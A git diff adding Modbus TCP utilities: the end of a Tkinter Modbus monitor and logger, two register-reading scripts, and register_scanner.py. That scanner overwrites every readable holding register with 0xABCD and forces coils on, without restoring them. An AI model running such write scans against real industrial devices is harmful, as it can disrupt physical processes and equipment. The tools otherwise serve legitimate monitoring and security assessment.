Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 